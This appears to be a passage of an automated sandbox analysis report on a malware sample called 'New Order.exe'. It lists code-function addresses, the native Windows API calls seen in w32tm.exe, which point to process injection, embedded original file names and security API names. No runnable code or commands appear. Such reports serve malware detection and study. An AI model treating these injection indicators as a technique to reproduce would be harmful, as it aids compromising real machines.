Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2D30 NtUnmapViewOfSection,LdrInitializeThunk,	14_2_033E2D30
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2D10 NtMapViewOfSection,LdrInitializeThunk,	14_2_033E2D10
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2DF0 NtQuerySystemInformation,LdrInitializeThunk,	14_2_033E2DF0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2DD0 NtDelayExecution,LdrInitializeThunk,	14_2_033E2DD0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2C70 NtFreeVirtualMemory,LdrInitializeThunk,	14_2_033E2C70
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2C60 NtCreateKey,LdrInitializeThunk,	14_2_033E2C60
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2CA0 NtQueryInformationToken,LdrInitializeThunk,	14_2_033E2CA0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E35C0 NtCreateMutant,LdrInitializeThunk,	14_2_033E35C0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E39B0 NtGetContextThread,LdrInitializeThunk,	14_2_033E39B0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2B80 NtQueryInformationFile,	14_2_033E2B80
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2AB0 NtWaitForSingleObject,	14_2_033E2AB0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2F60 NtCreateProcessEx,	14_2_033E2F60
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2FA0 NtQuerySection,	14_2_033E2FA0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2F90 NtProtectVirtualMemory,	14_2_033E2F90
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2E30 NtWriteVirtualMemory,	14_2_033E2E30
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2EA0 NtAdjustPrivilegesToken,	14_2_033E2EA0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2D00 NtSetInformationFile,	14_2_033E2D00
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2DB0 NtEnumerateKey,	14_2_033E2DB0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2C00 NtQueryInformationProcess,	14_2_033E2C00
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2CF0 NtOpenProcess,	14_2_033E2CF0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2CC0 NtQueryVirtualMemory,	14_2_033E2CC0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E3010 NtOpenDirectoryObject,	14_2_033E3010
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E3090 NtSetValueKey,	14_2_033E3090
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E3D10 NtOpenProcessToken,	14_2_033E3D10
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E3D70 NtOpenThread,	14_2_033E3D70
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_00979A30 NtCreateFile,	14_2_00979A30
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_00979BA0 NtReadFile,	14_2_00979BA0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_00979C90 NtDeleteFile,	14_2_00979C90
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_00979D30 NtClose,	14_2_00979D30
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_00979EA0 NtAllocateVirtualMemory,	14_2_00979EA0

Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_02D9DF14	1_2_02D9DF14
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_05510040	1_2_05510040
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_05510006	1_2_05510006
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_0551AD98	1_2_0551AD98
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_0551AD89	1_2_0551AD89
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_060B1140	1_2_060B1140
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_060B1130	1_2_060B1130
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_074A3D48	1_2_074A3D48
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_074AA5A0	1_2_074AA5A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_074A45B8	1_2_074A45B8
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_074A636F	1_2_074A636F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_074A6370	1_2_074A6370
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_074A49F0	1_2_074A49F0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_074A4180	1_2_074A4180
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_00418D13	8_2_00418D13
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0040E807	8_2_0040E807
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0040E813	8_2_0040E813
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_00401260	8_2_00401260
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_00402A73	8_2_00402A73
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_00402A80	8_2_00402A80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_004104C3	8_2_004104C3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0042F4E3	8_2_0042F4E3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_004104BC	8_2_004104BC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0040E6C3	8_2_0040E6C3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_00402ED0	8_2_00402ED0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_004106E3	8_2_004106E3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_00416F0E	8_2_00416F0E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_00416F13	8_2_00416F13
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018D01AA	8_2_018D01AA
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C41A2	8_2_018C41A2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C81CC	8_2_018C81CC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01800100	8_2_01800100
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AA118	8_2_018AA118
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01898158	8_2_01898158
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A2000	8_2_018A2000
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018D03E6	8_2_018D03E6
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181E3F0	8_2_0181E3F0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CA352	8_2_018CA352
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018902C0	8_2_018902C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B0274	8_2_018B0274
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018D0591	8_2_018D0591
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810535	8_2_01810535
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018BE4F6	8_2_018BE4F6
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B4420	8_2_018B4420
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C2446	8_2_018C2446
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180C7C0	8_2_0180C7C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01834750	8_2_01834750
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810770	8_2_01810770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182C6E0	8_2_0182C6E0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018129A0	8_2_018129A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018DA9A6	8_2_018DA9A6
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01826962	8_2_01826962
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183E8F0	8_2_0183E8F0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181A840	8_2_0181A840
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01812840	8_2_01812840
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017F68B8	8_2_017F68B8
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C6BD7	8_2_018C6BD7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CAB40	8_2_018CAB40
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180EA80	8_2_0180EA80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01828DBF	8_2_01828DBF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180ADE0	8_2_0180ADE0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181AD00	8_2_0181AD00
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018ACD1F	8_2_018ACD1F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B0CB5	8_2_018B0CB5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01800CF2	8_2_01800CF2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810C00	8_2_01810C00
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188EFA0	8_2_0188EFA0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01802FC8	8_2_01802FC8
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181CFE0	8_2_0181CFE0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01852F28	8_2_01852F28
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01830F30	8_2_01830F30
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B2F30	8_2_018B2F30
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01884F40	8_2_01884F40
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01822E90	8_2_01822E90
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CCE93	8_2_018CCE93
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CEEDB	8_2_018CEEDB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CEE26	8_2_018CEE26
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810E59	8_2_01810E59
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FF172	8_2_017FF172
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181B1B0	8_2_0181B1B0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018DB16B	8_2_018DB16B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0184516C	8_2_0184516C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018170C0	8_2_018170C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018BF0CC	8_2_018BF0CC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C70E9	8_2_018C70E9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CF0E0	8_2_018CF0E0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0185739A	8_2_0185739A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FD34C	8_2_017FD34C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C132D	8_2_018C132D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018152A0	8_2_018152A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182B2C0	8_2_0182B2C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B12ED	8_2_018B12ED
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AD5B0	8_2_018AD5B0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C7571	8_2_018C7571
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CF43F	8_2_018CF43F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01801460	8_2_01801460
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CF7B0	8_2_018CF7B0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C16CC	8_2_018C16CC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01855630	8_2_01855630
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A5910	8_2_018A5910
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01819950	8_2_01819950
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182B950	8_2_0182B950
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018138E0	8_2_018138E0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187D800	8_2_0187D800
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182FB80	8_2_0182FB80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01885BF0	8_2_01885BF0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0184DBF9	8_2_0184DBF9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CFB76	8_2_018CFB76
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01855AA0	8_2_01855AA0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018ADAAC	8_2_018ADAAC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B1AA3	8_2_018B1AA3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018BDAC6	8_2_018BDAC6
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CFA49	8_2_018CFA49
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C7A46	8_2_018C7A46
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01883A6C	8_2_01883A6C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182FDC0	8_2_0182FDC0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01813D40	8_2_01813D40
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C1D5A	8_2_018C1D5A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C7D73	8_2_018C7D73
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CFCF2	8_2_018CFCF2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01889C32	8_2_01889C32
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01811F92	8_2_01811F92
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CFFB1	8_2_018CFFB1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CFF09	8_2_018CFF09
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01819EB0	8_2_01819EB0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0346A352	14_2_0346A352
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_034703E6	14_2_034703E6
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033BE3F0	14_2_033BE3F0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03450274	14_2_03450274
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_034302C0	14_2_034302C0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03438158	14_2_03438158
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033A0100	14_2_033A0100
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0344A118	14_2_0344A118
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_034681CC	14_2_034681CC
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_034641A2	14_2_034641A2
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_034701AA	14_2_034701AA
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03442000	14_2_03442000
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033B0770	14_2_033B0770
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033D4750	14_2_033D4750
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033AC7C0	14_2_033AC7C0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033CC6E0	14_2_033CC6E0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033B0535	14_2_033B0535
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03470591	14_2_03470591
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03462446	14_2_03462446
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03454420	14_2_03454420
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0345E4F6	14_2_0345E4F6
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0346AB40	14_2_0346AB40
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03466BD7	14_2_03466BD7
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033AEA80	14_2_033AEA80
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033C6962	14_2_033C6962
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033B29A0	14_2_033B29A0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0347A9A6	14_2_0347A9A6
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033B2840	14_2_033B2840
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033BA840	14_2_033BA840
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033968B8	14_2_033968B8
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033DE8F0	14_2_033DE8F0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03424F40	14_2_03424F40
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033D0F30	14_2_033D0F30
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033F2F28	14_2_033F2F28
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03452F30	14_2_03452F30
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033BCFE0	14_2_033BCFE0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0342EFA0	14_2_0342EFA0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033A2FC8	14_2_033A2FC8
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0346EE26	14_2_0346EE26
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033B0E59	14_2_033B0E59
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0346EEDB	14_2_0346EEDB
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033C2E90	14_2_033C2E90
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0346CE93	14_2_0346CE93
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033BAD00	14_2_033BAD00
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0344CD1F	14_2_0344CD1F
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033C8DBF	14_2_033C8DBF
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033AADE0	14_2_033AADE0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033B0C00	14_2_033B0C00
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033A0CF2	14_2_033A0CF2
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03450CB5	14_2_03450CB5
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0346132D	14_2_0346132D
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0339D34C	14_2_0339D34C
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033F739A	14_2_033F739A
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033B52A0	14_2_033B52A0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_034512ED	14_2_034512ED
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033CB2C0	14_2_033CB2C0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0347B16B	14_2_0347B16B
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0339F172	14_2_0339F172
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E516C	14_2_033E516C
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033BB1B0	14_2_033BB1B0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0345F0CC	14_2_0345F0CC
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0346F0E0	14_2_0346F0E0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_034670E9	14_2_034670E9
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033B70C0	14_2_033B70C0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0346F7B0	14_2_0346F7B0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_034616CC	14_2_034616CC
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03467571	14_2_03467571
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0344D5B0	14_2_0344D5B0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033A1460	14_2_033A1460
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0346F43F	14_2_0346F43F
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0346FB76	14_2_0346FB76
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03425BF0	14_2_03425BF0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033CFB80	14_2_033CFB80
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033EDBF9	14_2_033EDBF9
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03467A46	14_2_03467A46
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0346FA49	14_2_0346FA49
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03423A6C	14_2_03423A6C
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0345DAC6	14_2_0345DAC6
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033F5AA0	14_2_033F5AA0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03451AA3	14_2_03451AA3
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0344DAAC	14_2_0344DAAC
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03445910	14_2_03445910
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033B9950	14_2_033B9950
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033CB950	14_2_033CB950
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0341D800	14_2_0341D800
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033B38E0	14_2_033B38E0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0346FF09	14_2_0346FF09
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033B1F92	14_2_033B1F92
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0346FFB1	14_2_0346FFB1
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033B9EB0	14_2_033B9EB0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03461D5A	14_2_03461D5A
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03467D73	14_2_03467D73
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033B3D40	14_2_033B3D40
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033CFDC0	14_2_033CFDC0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_03429C32	14_2_03429C32
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0346FCF2	14_2_0346FCF2
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_009624D0	14_2_009624D0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0097C390	14_2_0097C390
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0095D370	14_2_0095D370
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0095D369	14_2_0095D369
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0095D590	14_2_0095D590
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0095B570	14_2_0095B570
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0095B6B4	14_2_0095B6B4
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0095B6C0	14_2_0095B6C0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_00965BC0	14_2_00965BC0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_00963DBB	14_2_00963DBB
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_00963DC0	14_2_00963DC0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0328E3E8	14_2_0328E3E8
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0328E503	14_2_0328E503
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0328D968	14_2_0328D968
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0328E89C	14_2_0328E89C

Source: C:\Windows\SysWOW64\w32tm.exe	Code function: String function: 0339B970 appears 280 times
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: String function: 033E5130 appears 58 times
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: String function: 0342F290 appears 105 times
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: String function: 033F7E54 appears 102 times
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: String function: 0341EA12 appears 86 times
Source: C:\Users\user\Desktop\New Order.exe	Code function: String function: 0188F290 appears 105 times
Source: C:\Users\user\Desktop\New Order.exe	Code function: String function: 01857E54 appears 102 times
Source: C:\Users\user\Desktop\New Order.exe	Code function: String function: 017FB970 appears 280 times
Source: C:\Users\user\Desktop\New Order.exe	Code function: String function: 0187EA12 appears 86 times
Source: C:\Users\user\Desktop\New Order.exe	Code function: String function: 01845130 appears 58 times

Source: New Order.exe, 00000001.00000002.2168677711.0000000002F72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs New Order.exe
Source: New Order.exe, 00000001.00000002.2182298168.0000000007400000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs New Order.exe
Source: New Order.exe, 00000001.00000000.2152803183.0000000000BD8000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameTWXA.exe0 vs New Order.exe
Source: New Order.exe, 00000001.00000002.2167988143.00000000011EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs New Order.exe
Source: New Order.exe, 00000001.00000002.2181124789.00000000059B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs New Order.exe
Source: New Order.exe, 00000001.00000002.2181175394.00000000059D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs New Order.exe
Source: New Order.exe, 00000008.00000002.2489535674.00000000018FD000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs New Order.exe
Source: New Order.exe, 00000008.00000002.2488836600.0000000001367000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamew32time.dllj% vs New Order.exe
Source: New Order.exe	Binary or memory string: OriginalFilenameTWXA.exe0 vs New Order.exe

Source: New Order.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: New Order.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 1.2.New Order.exe.4006340.0.raw.unpack, M7cDBeDIldQIV71LRd.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 1.2.New Order.exe.4006340.0.raw.unpack, M7cDBeDIldQIV71LRd.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.New Order.exe.4006340.0.raw.unpack, M7cDBeDIldQIV71LRd.cs	Security API names: _0020.AddAccessRule
Source: 1.2.New Order.exe.7400000.4.raw.unpack, KXOu74t9GvIK3VBWFs.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
